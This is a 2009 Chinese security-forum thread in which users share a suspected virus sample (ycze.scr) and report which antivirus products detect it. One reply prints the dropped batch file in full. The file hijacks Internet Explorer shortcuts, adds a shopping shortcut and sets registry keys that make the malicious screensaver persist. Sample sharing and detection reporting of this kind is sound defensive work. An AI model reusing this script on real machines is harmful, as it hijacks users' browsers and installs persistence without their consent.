今天发现的一个病毒

显示全部楼层 · 发表于 2009-7-10 14:43:08

大家用自己的杀毒软件扫描一下看看，我用KIS扫描不到，已经上传到卡巴斯基官方网站了

显示全部楼层 · 发表于 2009-7-10 14:45:15

to 红伞！

显示全部楼层 · 发表于 2009-7-10 14:50:27

2009-07-10 14:50:17 文件保护(修改文件)    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
文件路径:C:\Sandbox\Administrator\DefaultBox\drive\C\WINDOWS\system32\yxfgscr.vbs
2009-07-10 14:50:17 文件保护(修改文件)    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
文件路径:C:\Sandbox\Administrator\DefaultBox\drive\C\WINDOWS\system32\yxfgscr.vbs
2009-07-10 14:50:17 文件保护(修改文件)    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
文件路径:C:\Sandbox\Administrator\DefaultBox\drive\C\WINDOWS\system32\yexrscr.bat
2009-07-10 14:50:17 文件保护(修改文件)    操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
文件路径:C:\Sandbox\Administrator\DefaultBox\drive\C\WINDOWS\system32\yexrscr.bat
2009-07-10 14:50:16 应用程序保护(修改其它进程内存)    操作:阻止
进程路径:C:\WINDOWS\explorer.exe
目标进程:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
有古怪

显示全部楼层 · 发表于 2009-7-10 14:55:43

原帖由 schumi小粉 于 2009-7-10 14:50 发表
2009-07-10 14:50:17 文件保护(修改文件) 操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\新建文件夹\ycze\ycze.scr
文件路径:C:\Sandbox\Administrator\DefaultBox\drive\C\WINDOWS\syste ...

yexrscr.bat内容
@echo off
copy "Internet Explorer.lnk" "%userprofile%\桌面\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\「开始」菜单\程序\Internet  Explorer.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet  Explorer 浏览器.lnk" /y
copy "Internet Explorer.lnk" "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet  Explorer.lnk" /y
copy "baobao.lnk" "%userprofile%\桌面\淘宝购物.lnk" /y
del "%userprofile%\桌面\IEXPLORE.lnk"
del "%userprofile%\桌面\IEXPLOREr.lnk"
del "%userprofile%\桌面\Internet Explorer.lnk"
del "%userprofile%\桌面\Internet.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk"
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "SCRNSAVE.EXE" /t reg_sz /d C:\WINDOWS\system32\ycze.scr /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveActive" /t reg_sz /d 1 /f
@reg add "HKEY_CURRENT_USER\Control Panel\desktop" /v "ScreenSaveTimeOut" /t reg_sz /d 60 /f

显示全部楼层 · 发表于 2009-7-10 14:58:51

就是个调用CMD改注册表添加启动项的蠕虫?

显示全部楼层 · 发表于 2009-7-10 14:59:07

kaba10 miss
to kl

显示全部楼层 · 发表于 2009-7-10 15:03:11

bat

应该是clean

[ 本帖最后由 luxiao200888 于 2009-7-10 15:04 编辑 ]

显示全部楼层 · 发表于 2009-7-10 15:19:47

瑞星2010
此文件已经被上报
请使用查询编号：RS20090710144402937937 进行查询
谢谢您的参与！

显示全部楼层 · 发表于 2009-7-10 19:03:00

过eset4，CA

显示全部楼层 · 发表于 2009-7-10 19:32:21

过金山毒霸极速版唉

[病毒样本] 今天发现的一个病毒

本帖子中包含更多资源

本帖子中包含更多资源